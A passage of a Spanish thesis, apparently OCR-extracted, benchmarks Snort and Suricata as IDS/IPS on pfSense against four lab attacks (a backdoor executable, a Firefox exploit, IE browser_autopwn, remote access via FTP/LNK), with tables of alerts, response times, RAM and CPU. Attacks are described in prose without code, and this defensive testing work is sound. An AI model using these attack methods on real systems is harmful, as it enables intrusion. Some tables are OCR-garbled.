e Action.- Puede ser pass, drop, reject y alert.
e Header.- Cabecera de la regla.

e Rule Options.- Opciones de la regla.

Pues bien, con action-order establecemos el orden de qué ocurre cuando se
establece una coincidencia con wuna regla establecida. Es decir, que
independientemente de cdémo suricata cargue los archivos de reglas, estas se
procesaran en el orden establecido en esta directiva. Por defecto se establece en

[27]:
action-order:

— pass — drop — reject — alert
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5. IMPLEMENTACION Y ANALISIS DE DESEMPENO DE LINEAS
DE DEFENSA

En este capitulo se hablara sobre la implementacion y analisis de desempefio de

los dos IDS/IPS (Snort y Suricata) de cédigo abierto. Pero antes en la siguiente

Tabla 17 se muestra una comparacion entre ambas soluciones IDS/IPS.

Tabla 17. Comparativa entre los sistemas IDS/IPS de Snort y Suricata

Solucién IDS/IPS Snort Suricata

Sistema operativo Linux, UNIX y | Linux, Mac, FreeBSD,
Windows. UNIX y Windows.

Licencia Open source Open source

Reglas Reglas Snort VRT | VRT: Snort rules
(Vulnerability EmergingThreats rules
Research Team).
Reglas Comunitarias
Snort GPLv2.

ET
(EmergingThreats
rules)

Threads Unico Multihilo

ARo de lanzamiento 1998 2009 (version beta)

Deteccion de protocolos IP, TCP, UDP, ICMP,
TCP, UDP, ICMP e | HTTP, TLS, FTP vy
IP. SMB.
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Para este trabajo se decidid implementar estas dos lineas de defensa porque
como se investigd, son las mas usadas, cuentan con firmas gratuitas y si

hablamos de eficiencia, cuentan con esa caracteristica.

Como ya se habia mencionado anteriormente, las métricas a utilizar para

cuantificar la eficiencia y confiabilidad en ambas soluciones son las siguientes:

Alertas generadas por atague: Numero de alertas que Snort y Suricata manda

ante un mismo ataque, bajo las mismas condiciones en modo IDS e IPS.

Tiempos de respuestas: Tiempo que invierte el IDS/IPS para detectar una

amenaza y la bloquee.

Uso de memoria RAM: Refiere al uso que se tenga de la memoria RAM, mientras

mas trafico exista en la red, esta se vera solicitada en mayor grado.

Uso de CPU: Se refiere a la cantidad de procesamiento usado por el Snort y

Suricata en la deteccién y prevencion de ataque [23].

Se utilizaron estas métricas debido a que son las mas principales para cuantificar

la eficiencia y confiabilidad de nuestras soluciones IDS/IPS.

5.1 Implementacién de Snort (basico)
Para implementar el Snort se utilizé lo siguiente:

a) Sistema operativo
Se utilizé6 el sistema operativo pfsense que es una variante de FreeBSD de
acuerdo a ciertas razones: es mas seguro, ya que solo se instala los paquetes que
el usuario le ordene, es facil de usar porque cuenta con una interfaz web, funciona
muy bien como firewall y cuenta con una gama de paquetes de terceros que

ayudan a pfSense a que sea mas poderoso.

La version que se uso fue 2.3.1-RELASE (i386) que se encuentra en la pagina

oficial de pfSense (https://www.pfsense.org/download/).
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En el Anexo A: Instalacion de pfSense se describen los pasos detalladamente

para su instalacion.

b) Equipo disponible

Para la instalacion del SO y posteriormente para el Snort se requirié las siguientes

caracteristicas del hardware:

Procesador Intel® Corel ™ CPU 6300 a 1.86GHz
4 memorias RAM de 512MB

2 tarjetas de red 100 base TX (Full duplex)
Teclado estandar

Monito estandar

c) Instalacion y configuracién de Snort

La version de Snort que se uso6 para este trabajo de tesis fue el 3.2.9.1_12. Este

se incluye en un paquete de pfSense.

Una vez instalado, se prosigue a configurarlo. En esta parte se resume lo que se

configuré en una lista:

1) Instalacion de la base de datos de las firmas libres con las que cuenta

Snort.

2) Agregacion de la interfaz o interfaces que estara monitoreando.

3) Configuracién como IDS/IPS.

4) Habilitacion/deshabilitacion de reglas para eliminar falsos positivos.

A continuacion, se enlistan las reglas utilizadas durante la configuracion:

Reglas Snort VRT (Vulnerability Research Team).
Reglas Comunitarias Snort GPLv2. [23].

Para ver los pasos detallados de su instalacion y configuracién se describen en el

Anexo B: Instalacion y configuracion del Snort.
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5.2 Implementacion de Suricata
Para implementar el Suricata se utilizd lo siguiente:
a) Sistema operativo

Se utilizé el sistema operativo pfsense que es una variante de FreeBSD.

Se encuentra en el Anexo A: Instalacion de pfSense. Cabe mencionar que

fueron las mismas direcciones IP que se usaron para ambas lineas de defensa.

b) Equipo disponible
Para la instalacion del SO y posteriormente para el Suricata se requirio las

siguientes caracteristicas del hardware:

e Procesador Intel® Corel ™ CPU 6300 a 1.86GHz
e 4 memorias RAM de 512MB

e Tarjetas de red 100 base TX (Full duplex)

e Teclado estandar

e Monito estandar

c) Instalacion y configuracion de Suricata
La version de Suricata que se implementé fue la 3.0 7 que se encuentra en su

pagina oficial (https://suricata-ids.org/download/). En el Anexo D: Instalacion y

configuraciéon de Suricata se muestra con mas detalles los pasos a seguir.

5.3 Herramientas para analizar el desempefio de un IDS/IPS
Para este trabajo se utilizaron distintas herramientas necesarias para analizar el

rendimiento de un IDS/IPS, como son: Wireshark y TFGEN.

Wireshark

Wireshark es uno de los analizadores de protocolos de red mas utilizados en el
area de medicién y monitoreo de trafico de red. Wireshark permite ver lo que esta

sucediendo en la red a nivel microscopico. Cuenta con filtros de captura y
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visualizacion, que permiten capturar y/o visualizar un determinado flujo de

paquetes con caracteristicas especificas.

Los filtros por protocolos o por IP nos permiten medir esos tiempos de manera
facil.

Lo que se hizo fue instalar el Wireshark en la maquina victima para que cuando se
lance el ataque, ésta recibe todos los paquetes de la maquina atacante, y

mediante un filtro por direccion IP del atacante, sea posible identificar al atacante y

calcular el tiempo que tardé la conexion con la victima.

Para calcular de como saber el tiempo invertido por ambas lineas de defensa,

tanto Snort como Suricata usamos la siguiente formula:
Tiempo de resuesta = Tiempo de bloqueo — Tiempo de llegada

Se muestra un ejemplo en la llustracion 15 del tiempo de llegada de la IP atacante
hacia la victima, posteriormente en la llustracion 16 se muestra el tiempo en que
se bloqued y esto da como resultado, el tiempo invertido por Snort para bloquear

este ataque.
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llustracién 15. Tiempo de llegada de primer paquete TCP del atacante

llustracion 16. Tiempo de llegada del tGltimo paquete TCP del atacante
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Tiempo de resuesta = Tiempo de bloqueo — Tiempo de llegada

Tiempo de respuesta = 13.724665000 — 10.878633000
Tiempo de respuesta = 2.846032 segundos
El tiempo de respuesta fue de 2.846032 segundos.

Este es un ejemplo de como se calculd el tiempo de respuesta de cada ataque con

sus repeticiones.

TFGEN

Es un generador de trafico UDP, que genera paquetes hacia una red, estos
paquetes pueden enviarse en intervalos de tiempo y de diferentes tamafios. De
igual manera cuenta con especificaciones hacia un puerto que se le puede
configurar. Este tipo de trafico no es detectado como amenaza por las redes,
puede ser usado para denegaciones de servicio o para hacer pruebas de

rendimiento de redes [23].

Para emular escenarios de red representativos fue necesario utilizar el generador
de trafico TFGEN. En la

Tabla 18 se presenta la configuracion de TFGEN utilizada en la realizacion de las

pruebas de desempefio de Snort y Suricata.

Tabla 18. Configuracion de TFGEN para las pruebas

Puerto Tipo de Periodo de :
Aol UDP e trafico actualizacion I
Continuo W) e
r=el=0 10000 | 7 acuerdo al
constante
ataque.
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En el Anexo D: Instalacion y configuracion de TFGEN se describen

detalladamente los pasos para su configuracion.

5.4 Ataques implementados en unared de datos
En esta parte, se muestra una descripcién breve de algunos de los ataques mas
comunes a los que una red de datos puede estar expuesta y se realizaron con

éxito para llevar a cabo el analisis de desempenio de las dos lineas de defensa.

1. Ataque de acceso remoto creando archivo ejecutable (.exe)

Este ataque es conocido como backdoor (puerta trasera), el cual es un troyano
que permite acceder de manera remota a una PC victima sin autentificarse y, por
lo tanto, poder entrar a la informacion del usuario sin que lo sepa. Para que se
pueda ejecutar este ataque, se necesita de la ingenieria social, ya que manipula a

la victima haciéndose pasar por algun archivo legitimo cuando no es asi.
2. Atague de acceso remoto aprovechando vulnerabilidad de Firefox.

Es un ataque que aprovecha la vulnerabilidad de este navegador pidiendo al

usuario que instale un plugin para tener acceso a la computadora de la victima.
3. Ataque IE 0 day (aprovecha vulnerabilidades de los navegadores web).

El navegador Internet Explorer de las versiones 6 y 7 ha tenido muchas
vulnerabilidades que se han explotado mediante exploits. Para este ataque se usé
el browser_autopwn que viene incluido en el Metasploit para buscar
vulnerabilidades en los navegadores webs. En este caso nos basamos en la
vulnerabilidad 0-day que se registr6 en el navegador Internet Explorer en las
versiones mencionadas anteriormente, la cual permite que cualquier atacante

utilice el exploit respectivo para tener acceso completo al sistema.

4. Ataque de acceso remoto via FTP
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En este exploit lo que intenta hacer es aprovecharse de una vulnerabilidad en la
manipulacion de accesos directos de Windows (LNK) que contiene un icono que
apunta a una DLL maliciosa. Al momento de ejecutarse se crea un servicio
WebDAV (creacion y control de versiones distribuidos en web) en la maquina del
atacante y asi, ejecuta un payload arbitrario cuando la victima intente acceder
como recurso UNC (convencion universal a una red). Cuando lo abre el usuario
victima, se abre una sesion y es utilizada por el atacante, lo cual le otorga todos

los privilegios al este.

Estos ataques seran lanzados desde el Kali Linux hacia Windows 8 y Windows
XP.

Los pasos se describen en el Anexo E: Creacion de los ataques de red

detalladamente.

5.5 Escenario de prueba

Para esta tesis se cre6 una red LAN simulando ser una oficina, en el cual hasta los
mismos trabajadores insatisfechos pueden ser los atacantes, ya que conocen muy

bien la red.

A continuacion se muestra el diagrama de red.
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llustracion 17. Diagrama de red

Enla

Tabla 19 se muestra las direcciones IP de los equipos utilizado en el escenario de

pruebas.

Tabla 19. Direcciones IP de la topologia I6gica para el area de pruebas

Equipo Direccion IP Mascara de Gateway
subred

Windows 8 192.168.100.4 255.255.255.0 192.168.100.1
Windows XP 192.168.100.7 255.255.255.0 192.168.100.1
IBRVIIESREIVVR(WANN ) 192.168.100.1 255.255.255.0 N/A
IDS/IPS fa0/1 192.168.20.1 255.255.255.0 N/A
(WAN)
Kali Linux * 255.255.255.0 192.168.20.1
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*Varia de acuerdo al tipo de prueba del ataque realizado.

5.4 Puesta a prueba la solucién de los IDS/IPS

Para realizar las pruebas de desempefio de los sistema propuestos, se generaron
los siguientes ataques: Ataque de acceso remoto creando archivo ejecutable
(.exe), Ataque de acceso remoto aprovechando vulnerabilidad de Firefox, Ataque
IE 0 day (aprovecha vulnerabilidades de los navegadores web) y Ataque de

acceso remoto via FTP.

Dichos ataques se utilizaron para poner a prueba el desempefio de los sistemas
en modo IPS e IDS. Cada ataque se repitio 10 veces con diferentes IP, esto para
poder determinar el comportamiento de las reglas generadas por Snort y Suricata
en diferentes instantes de tiempo.

En la Tabla 20 se muestra los rangos de las direcciones IP utilizadas en la

maquina victima de acuerdo al ataque en la linea de defensa de Snort.

Tabla 20. Rango de direcciones IP en Snort de los ataques

Equipo Rango de direccién IP \
#1. Ataque de acceso remoto creando 192.168.20.19 — 192.168.20.38
archivo ejecutable (.exe)

#2. Ataque de acceso remoto 192.168.20.46 — 192.168.20.65
aprovechando vulnerabilidad de Firefox

#3. Ataque |IE 0 day (aprovecha 192.168.20.67 — 192.168.20.86
vulnerabilidades de los navegadores
web)

#4. Ataque de acceso remoto via FTP. 192.168.20.88 — 192.168.20.107

En la Tabla 21 se muestra los rangos de las direcciones IP utilizadas en la

maquina victima de acuerdo al ataque en la linea de defensa de Suricata.
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Tabla 21. Rango de direcciones IP en Suricata de los ataques

Equipo Rango de direccion IP

#1. Ataque de acceso remoto creando 192.168.20.19 — 192.168.20.38
archivo ejecutable (.exe)

#2. Ataque de acceso remoto 192.168.20.46 — 192.168.20.65
aprovechando vulnerabilidad de Firefox

#3. Ataque |IE 0 day (aprovecha 192.168.20.67 — 192.168.20.86
vulnerabilidades de los navegadores
web)

#4. Ataque de acceso remoto via FTP. 192.168.20.88 — 192.168.20.107

5.5 Descripcién de la metodologia de la prueba

Para las pruebas, se instalaron y configuraron dos computadoras que fueron las
victimas; Windows 8 y Windows XP.

También para crear los ataques se uso el sistema operativo Kali Linux y generar
trafico UDP la aplicacion TFGEN.

En el Anexo E: Creacion de los ataques de red se puede ver con mas detalles.
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6. RESULTADOS

Después de haber creado y ejecutado los cuatro ataques, procedemos a plasmar
las métricas en graficas para su mejor analisis. Recordemos que las métricas que
usamos para cuantificar el desempefio en nuestras lineas de defensa fueron las

siguientes:

e Numero de alertas.

e Tiempo de respuesta.
e Uso de memoria RAM.
e Uso de CPU.

Los cuatro ataques generados fueron:
Ataque de acceso remoto creando archivo ejecutable (.exe)

Ataque de acceso remoto aprovechando vulnerabilidad de Firefox.

Ataque IE 0 day (aprovecha vulnerabilidades de los navegadores web).

> wDnh -

Ataque de acceso remoto via FTP.

A continuacion se analiza el comportamiento de las diversas métricas frente a los

diferentes ataques para cada linea de defensa en modo IDS/IPS.

Snort

Repeticiones
1
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Promedio

CAPITULO 6

1 2 4 2 0 0 9 5
1 2 4 3 1 1 4 5
0 0 6 2 2 0 7 0
1 2 4 3 0 0 4 0
1 1 4 2 0 1 7 2
1 15 4.4 2.9 1.1 0.7 6.3 3.8
Tabla 22. Nimero de alertas generadas en Snort en modo IDS/IPS
En la Tabla 22 observamos que en la mayoria de los ataques se generé mas
alertas en modo IDS, a excepcion del ataque 1. Esto es debido a que Snort
detecta la amenaza permitiendo que la intrusion se lleve a cabo, y por eso genera
alertas hasta el momento que se dé la misma. En cambio, cuando Snort se
encuentra en modo IPS, el tiempo que invierte en detener esa intrusion, es el
tiempo que tiene para enviar todas las alertas que sean necesarias.
Tabla 23. Tiempo de respuestas generado en Snort en modo IDS/IPS
A A . A A . A A . A A ' /]
IDS IPS IDS IPS IDS IPS IDS IPS
0.937 2.809 1.085 1.366 4.592 6.609 4.693 6.734
0.304 0.316 1.145 1.345 3.944 7.187 3.769 7.032
0.289 1.310 0.813 1.146 3.722 6.427 3.364 7.160
0.226 0.238 0.405 1.049 2.989 7.258 4.033 7.390
0.235 0.244 0.585 1.098 5.164 5.972 3.664 6.857
0.544 1.300 0.873 0.974 4.688 5.738 4.139 10.936
2.029 2.765 1.085 1.305 3.867 5.535 3.600 11.785
0.494 1.294 1.116 1.591 3.050 4.195 4.036 6.772
2.148 2.809 0.841 0.876 3.285 7.222 3.584 6.993
2.168 2.616 1.509 3.489 3.405 4.195 3.644 6.777
0.9374s | 1.570s | 0.946s | 1.424s | 3.871s | 6.034s | 3.853s | 7.844s

En la Tabla 23 se analizan los tiempos de respuesta en segundos que Snort

genera ante el ataque inducido. Observamos que en modo IPS genera un tiempo

de respuesta mayor que en modo IDS, esto es debido a que Snort en modo IPS,

hace primero un analisis en busca de anomalias, luego genera las alertas, y
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un analisis en busca de anomalias y después genera las alarmas.

CAPITULO 6

finalmente genera una respuesta (bloqueo); en cambio en modo IDS, sélo realiza

Observamos también que los ataques 3 y 4 son los que tuvieron un mayor tiempo

de respuesta tanto en modo IDS como en IPS.

Tabla 24. Uso de memoria RAM generado en Snort en modo IDS/IPS

A A . A A . A A . A A . /l
IDS IPS IDS IPS IDS IPS IDS IPS
17 38 13 34 12 63 64 56
16 38 14 30 12 79 81 51
16 39 11 40 12 79 80 65
16 40 11 40 12 63 91 58
17 29 11 37 13 56 55 58
16 38 11 40 13 47 42 63
29 27 11 31 14 45 60 66
29 29 11 39 13 45 49 56
17 38 11 41 13 45 36 75
16 29 11 46 13 47 37 60

18.9% 34.5% | 11.5% | 37.8% | 12.7% | 56.9% | 59.5% | 60.8%

Después en la Tabla 24 observamos el uso de la memoria RAM en Snort tanto en

su modo IDS e IPS. Vemos que para cada repeticiéon fueron constantes los

valores. Y que en modo IDS consumié menos memoria RAM, pero en el ataque 4

consumio mas de 50% de memoria RAM en algunas repeticiones.

Tabla 25. Uso de CPU generado en Snort en modo IDS/IPS

A AO A AO A AO A AN@® /]
IDS IPS IDS IPS IDS IPS IDS IPS
69 53 29 32 100 100 100 85
66 50 24 54 86 100 100 100
55 50 23 32 87 100 100 100
64 50 31 54 100 100 100 89
60 63 31 50 100 100 100 90
52 32 39 52 92 100 100 92
57 61 33 54 100 100 100 100
Sl 50 31 53 97 100 100 100
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)

Promedio

CAPITULO 6

10 58

| 57 64 23 57 100 100 100 90
62 39 50 100 100 100 100
‘ 58.9% | 53.5% | 30.3% | 48.8% | 96.2% | 100% | 100% | 94.6%

Por ultimo, en la

Tabla 25 podemos decir que en los ataques 3 (IE 0 day) y ataque 4 (via ftp) tuvo
un elevando uso de la CPU tanto en modo IDS como en IPS.

En cambio en los ataques 1 y 2 se mantuvo entre los 23% y 69% en modo IDS y

en modo IPS se mantuvo de los 32% a 64%.

Sin embargo, cabe mencionar que el uso de CPU tiene mucho que ver con la

cantidad de trafico en la red, la cantidad de firmas activadas y el tipo de CPU que

contenga nuestro equipo donde esta implementada nuestro sistema IDS/IPS. En

este caso, nuestra CPU es de 1.86GHz, se activaron las reglas por default de

Snort y se genero trafico para emular una pequefa red de datos a 10,000kbps.
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Suricata

sus repeticiones en cada ataque tanto en modo IDS/IPS.

Tabla 26. Numero de alertas generado en Suricata en modo IDS/IPS

CAPITULO 6

Para suricata tendremos también los datos que generé cada métrica respecto a

A A . A A . A A . A A . /]
one IDS IPS IDS IPS IDS IPS IDS IPS
2 2 2 2 40 35 63 3
2 2 2 2 41 52 60 3
2 2 2 3 42 64 48 4
‘ 2 2 2 2 39 59 58 3
2 2 2 2 41 61 66 6
6 2 2 2 2 57 65 58 7
2 2 3 2 40 73 60 6
3 2 2 2 2 44 35 71 6
O 2 2 2 2 0 35 71 6
0 2 2 2 2 22 59 70 6
=SS 2 2 2.1 2.1 36.6 53.8 62.5 5

Observamos en la

Tabla 26 que para el numero de alertas se mantuvieron constantes tanto en IDS

como en IPS en la mayoria de las repeticiones del ataque 1y 2. Excepto el ataque

3 que fue de IE 0 day que generé mas alertas en modo IPS. Para el ataque 4

vemos que como es un ataque saliente de la LAN, rapidamente se detectd la

amenaza en modo IPS.
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CAPITULO 6

En la Tabla 27 vemos que el tiempo de respuestas fue mayor en modo IPS.

Mismo motivo que en Snort, ya que en este modo primero realiza un analisis en

busca de anomalias, luego es que genera las alarmas, y finalmente da la

respuesta (bloqueo). Observamos que en Suricata, los ataques 3 y 4 también

generaron un mayor tiempo de respuesta.

A A . A A . A A . A A . /l
IDS IPS IDS IPS IDS IPS IDS IPS
1.435 3.429 0.941 11.377 15.683 26.661 6.470 6.496
1.327 2.736 1.065 11.375 14.792 24.014 6.023 6.119
1.504 2.870 1.143 11.215 14.845 23.451 4.475 5.923
0.873 2.768 1.581 6.399 15.829 24.102 5.993 6.514
1.357 2.782 1.444 5.075 14.912 24.890 6.186 7.842
1.133 2.755 1.020 5.109 14.785 14.895 6.119 6.186
1.079 2.801 1.433 5.067 14.659 14.711 6.225 6.458
1.136 2.793 0.790 5.124 14.667 14.898 6.836 6.891
0.642 2.874 1.506 5.113 14.984 23.350 6.240 6.502
0.877 2.870 1.010 3.596 14.701 14.902 6.725 6.733
1.136s | 2.868s | 1.193s | 6.945s | 14.986s | 20.587s | 6.129s | 6.566s
Tabla 27. Tiempo de respuestas generado por Suricata en modo IDS/IPS
En la Tabla 28 nos muestra el uso de la memoria RAM y observamos que se
mantuvo constante en las repeticiones tanto en modo IDS como en IPS. Sin
embargo, en modo IPS consumié mas memoria RAM con excepcion del ataque 3.
A A . A A . A A . A A . /]
IDS IPS IDS IPS IDS IPS IDS IPS
24 39 21 28 39 30 39 40
17 34 20 30 39 30 39 40
29 30 21 30 39 30 39 59
29 30 21 30 39 30 39 59
29 30 21 28 39 29 39 59
29 30 21 27 35 23 39 59
29 30 21 24 35 21 37 59
29 30 21 22 35 20 32 59
29 30 21 21 35 39 30 59
29 30 21 21 35 39 30 59
27.3% | 31.3% 20.9% 26.1% 37% 29.1% | 36.3% | 55.2%

Tabla 28. Uso de RAM generado por Suricata en modo IDS/IPS
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en modo IPS. Cabe mencionar que el uso de este recurso esta relacionado con la

cantidad de trafico en la red, en este caso fue una simulaciéon de 10,000 kbps, la

cantidad de firmas activadas y el tipo de CPU que cuenta nuestro equipo

(1.86GHz).

Tabla 29. Uso de CPU generado por Suricata en modo IDS/IPS

CAPITULO 6

En la siguiente Tabla 29 tenemos el uso de CPU y vemos que es un poco mayor

A A. A A. A A. A A. /]

one IDS IPS IDS IPS IDS IPS IDS IPS

9 10 12 11 10 13 9 11

10 11 10 14 9 - 7 16

8 10 13 12 12 9 9 11

12 13 12 11 10 10 10 16

8 12 13 16 9 11 9 15

10 13 10 20 12 10 10 16

11 12 11 19 11 12 9 19

8 10 10 12 9 10 11 16

11 17 11 13 10 10 9 17

0 12 16 14 18 9 12 9 16
=SS 9.9% | 12.4% | 11.6% 14.6% 10.1% | 10.6% | 9.2% | 15.3%
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CAPITULO 6

A continuacion se realiza la comparativa entre las lineas de defensa para cada

una de las métricas y ataques.

Numero de alertas

" 3
g
% 2 +—=& = = 4 = = ——
©
o
51 > * = o
: v
S
Z 0 v T T T 1
1 2 3 4 5 6 7 8 9 10
Numero de repeticiones
—+—SNORT IDS  —=-SNORT IPS
SURICATA IDS SURICATA IPS

llustracion 18. Ataque #1 (numero de alertas)

En la llustracion 18 observamos el numero de alertas para el ataque 1. Vemos que

Snort en modo IPS generé6 mas alertas que en modo
observar que en ambos modos se presentaron falsos

hubo una amenaza y no se gener6 ninguna alerta.

IDS. También se puede

negativos, es decir, que

En cambio, suricata tanto en modo IDS como en IPS sus alertas fueron constantes

y no se presentaron falsos negativos. Por tanto, suricata tuvo un mejor desempeno

que snort.
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llustracion 19. Ataque #2 (nimero de alertas)

Como se muestra en la llustracion 19, para el ataque 2, snort en modo IDS gener6
mas alertas que en modo IPS. En suricata fueron mas constantes las alertas tanto
en modo de deteccion como en prevencion, y también el nimero de alertas fue
similar en ambos modos. Entre ambas lineas, snort generé mas alertas que

suricata.
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llustracion 20. Ataque #3 (nimero de alertas)

Para el ataque 3 se puede observar en la llustracién 20 que snort genero falsos
negativos en ambos modos. Por otro lado, suricata generé un numero de alertas
muy elevado, en ambos modos (IDS/IPS) y en general, se generaron mas alertas

en modo IPS.
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llustracion 21. Ataque #4 (nimero de alertas)

Para el ataque 4, observamos en la llustracion 21 que snort en modo de deteccidn
alerté mas que en modo de prevenciéon. De igual forma, suricata gener6 mas
alertas en modo IDS que en modo IPS. También se puede ver que suricata genero
un numero elevado de alertas en modo IDS y snort en modo IPS generd falsos

positivos.

Como resultado del analisis referente a las alertas generadas por ambas lineas de
defensa en los modos IDS/IPS, se puede concluir que snort generé una gran
cantidad de falsos negativos, lo cual implica que tuvo dificultades para detectar
algunos ataques existentes y en consecuencia deja expuesta a la red de posibles

intrusiones.
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llustracion 22. Ataque #1 (tiempo de respuesta)

Para la métrica tiempo de respuesta del ataque 1, observamos en la llustracion 22
que snort y suricata en modo IPS tuvieron un tiempo de respuesta mayor que en
modo IDS, este comportamiento es esperado de manera general, debido a que en
modo IPS el sistema, primero detecta, y luego ejecuta una accion (bloqueo), a
diferencia del modo IDS que sélo realiza la tarea de deteccién. Por otro lado, snort

fue el que tuvo un menor tiempo de respuesta ante las amenazas.
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llustracion 23. Ataque #2 (tiempo de respuesta)

En la llustracion 23 observamos que tanto snort como suricata en modo IPS
tuvieron mayor tiempo de respuesta que en modo IDS. Ademas, comparando

ambos sistemas en este ataque, nuevamente snort fue mas rapido en los tiempos
de respuesta.
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llustracion 24. Ataque #3 (tiempo de respuesta)

En la llustracion 24 vemos nuevamente que tanto snort como suricata en modo
IPS tuvieron mayor tiempo de respuesta que en modo IDS. Realizando la
comparacion entre los sistemas, vemos que suricata tuvo un tiempo de respuesta
mucho mayor que snort, esto quiere decir que snort fue mas rapido en detectar y

bloquear los ataques.
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llustracion 25. Ataque #4 (tiempo de respuesta)

En la llustracion 25 se puede observar que tanto snort como suricata en modo de

deteccidon presentan menos tiempo de respuesta que en modo de prevencion.

Si comparamos ambas lineas, snort en modo IDS fue mas rapido suricata. Sin

embargo, en modo IPS snort tardé mas en dar una respuesta que suricata.

Como resultado del andlisis referente a los tiempos de respuesta generados por
ambas lineas de defensa en los modos IDS/IPS, se puede concluir que snort fue
mas rapido en la deteccion de las intrusiones generadas por los cuatro ataques, y
para la prevencion, snort realizé el bloque de los ataques mas rapido en tres de
ellos. Por tanto se puede concluir de manera general que snort fue mas eficiente

en las respuestas de deteccion y bloqueo de los ataques generados.
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CAPITULO 6

Uso de memoria RAM
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llustracion 26. Ataque #1 (uso de RAM)

Ahora en la métrica del uso de la memoria RAM, observamos en la llustracion 26

que tanto snort como suricata en modo IDS utilizaron menos memoria RAM que

en modo IPS. Comparando ambas lineas de defensa, snort en modo IDS estuvo

por debajo que suricata, es decir que consumié menos memoria. Sin embargo, en

modo IPS utilizé6 mas.

91



[“ANALISIS COMPARATIVO DE DESEMPENO EN SISTEMAS
IDS/IPS DE CODIGO ABIERTO”] Ne:\J3 (¥ KeX]

50
X
<§( 30 ,A;
o
o 20 - -
©
© 10 ’_’_.\Q * * * * * ° °
N
-]
0

1 2 3 4 5 6 7 8 9 10
Numero de repeticiones

——SNORT IDS  —=-SNORT IPS
SURICATA IDS SURICATA IPS

llustracion 27. Ataque #2 (uso de RAM)

En la llustracion 27, se puede observar que snort y suricata en modo IDS
consumieron menor cantidad de memoria que en modo IPS. Por otro lado,
observamos que en modo IDS, snort utilizO menos memoria RAM que suricata,

pero en modo de prevencion, snort utilizd mas este recurso.
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llustracion 28. Ataque #3 (uso de RAM)

Para el ataque 3 como se muestra en la llustracion 28, en modo IDS snort utilizé
en menor medida este recurso, que en modo IPS. Para suricata, ocurrid lo

contrario, en modo IDS utiliz6 mas memoria que en modo IPS.

Si comparamos ambas lineas, en modo IDS, snort estuvo por debajo del 20% del
uso de la memoria RAM, mientras que suricata utilizd el 40%. En modo IPS,
suricata consumié entre 20% y 40%, mientras que snort utilizé6 entre el 40% y
80%.
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llustracion 29. Ataque #4 (uso de RAM)

Como se puede ver en la llustracion 29, para el ataque #4, snort utilizé mas
memoria RAM en modo de prevencion en la mayoria de sus repeticiones. Por otro
lado, suricata, utiliz6 mas memoria RAM en modo IPS. Ahora, comparando ambas
lineas de defensa, snort en modo de deteccion y prevencion utilizd mas este

recurso que suricata.

Como resultado del analisis referente al uso de memoria RAM por ambas lineas
de defensa en los modos IDS/IPS, se puede concluir que snort consumié menor
cantidad de memoria RAM en modo IDS para los tres primero ataques, mientras

que en modo IPS snort consumié mayor cantidad de memoria RAM que suricata.
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llustracién 30. Ataque #1 (uso de CPU)
En la llustracion 30 se muestra el comportamiento de la métrica del uso de CPU,
como se puede observar, Snort utilizd mas porcentaje de CPU en modo IDS que
en modo IPS. Por otro lado, suricata utilizd6 mas CPU en modo IPS que en modo
IDS.

Comparando, ambas lineas de defensa, se puede observar que suricata utilizé

menos recursos de CPU que snort.
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llustracion 31. Ataque #2 (uso de CPU)

En la llustracion 31 observamos que snort utilizé mas CPU en modo de prevencion

que en modo de deteccidn; mientras que suricata utilizé mas CPU en modo IPS
que en modo IDS.

Por otro lado, comparando ambas lineas, se observa que suricata utilizd menos
recursos de CPU que snort.
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llustracion 32. Ataque #3 (uso de CPU)
El ataque 3 se observa en la llustracion 32, vemos que snort en modo IPS utilizo el
100% del CPU, al igual que en la mayoria de las repeticiones en modo de

deteccion. Por otro lado, snort utiliz6 en promedio la misma cantidad de CPU en

ambos modos.

Comparando ambas lineas de defensa, suricata utiliz6 menos recursos de CPU

que snort.
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llustracion 33. Ataque #4 (uso de CPU)

Por ultimo, en la llustracion 33, observamos de manera similar que en snort utilizd
mas el recurso de CPU en modo IDS que IPS, mientras que suricata utilizé mas

CPU en modo de prevencion que en modo de deteccion.

Comparando ambas lineas de defensa, se puede observar que suricata hizo uso
de menos recursos de CPU en comparacion con snort, el cual utilizé hasta el

100% en ambos modos.

De manera general se puede concluir del analisis de uso de CPU, que suricata
utilizé menos del 20% del recurso de CPU en todos los ataques y en ambos
modos, mientras que snort hizo uso de mayor recurso de CPU, en algunas

ocasiones utilizando hasta 100% para ambos modos.
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7. CONCLUSIONES

Pese al gran avance de los sistemas de seguridad que pueden ser implementados
como lineas de defensa en las redes de datos, se puede considerar que ningun
sistema puede ser 100% seguro.
Muchos factores son los causantes de esto, las amenazas potenciales como virus,
gusanos, ataques dirigidos, denegacion de servicio (DoS), escaneos, botnets,
spam, etc., han ido evolucionando y adaptandose a los nuevos mecanismos de
comunicacion digital y en general al desarrollo de Internet. Y a nivel usuario, la
falta de conocimiento sobre seguridad en las redes de datos o la poca importancia
que se le da, la ingenieria social, etc.
Sin embargo, para hacer frente a estas amenazas en que nuestra red esta
expuesta, existen diferentes mecanismos implementados como son los firewalls y
los sistemas de prevencion y deteccién de intrusiones (IDS/IPS).
Motivados por los puntos mencionados anteriormente, en este trabajo se
implementaron dos lineas de defensa IDS/IPS con software de codigo abierto,
basado en Snort y en Suricata, los cuales tienen la capacidad de reaccionar ante
los ataques mas comunes, y de esta manera brindar cierto grado de seguridad a
una red. Snort se ha convertido en el estandar de la industria de sistemas de
deteccion y prevencion de intrusiones de red basado en firmas. Después, de casi
una década mas tarde, OISF lanz6é un nuevo sistema IDS/IPS de cdodigo abierto
basado en firma también, llamado Suricata. Se considera que Suricata vino a
mejorar Snort, en base a su nuevo protocolo HTTP que Snort no cuenta, entre
otras cosas. En el presente proyecto de tesis se trabajé usando las reglas
predefinidas por Snort y Suricata, ya que son gratuitas y de libre acceso.
Se realizaron pruebas de intrusiones, mediante ataques induccidos, haciendo uso
de unos de los atagues mas comunes al que se encuentra expuesta toda red:

1. Ataque de acceso remoto creando archivo ejecutable (.exe)

2. Ataque de acceso remoto aprovechando vulnerabilidad de Firefox.

3. Ataque IE 0 day (aprovecha vulnerabilidades de los navegadores web).
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4. Ataque de acceso remoto via FTP

Por otro lado, se realizaron mediciones de algunas de las principales métricas que
determinan la eficiencia y confiabilidad en un sistema de seguridad, tales como:

e Numero de alertas

e Tiempo de respuesta

e Uso de memoria RAM

e Uso de CPU
Las pruebas y mediciones para cada ataque se realizaron mediante diez
repeticiones con el objetivo de observar el comportamiento de cada uno de los
ataques experimentados en diferentes instantes de tiempo bajo las mismas
condiciones de trafico.
Como resultado del analisis referente a las alertas generadas por ambas lineas de
defensa en los modos IDS/IPS, se puede concluir que snort generé una gran
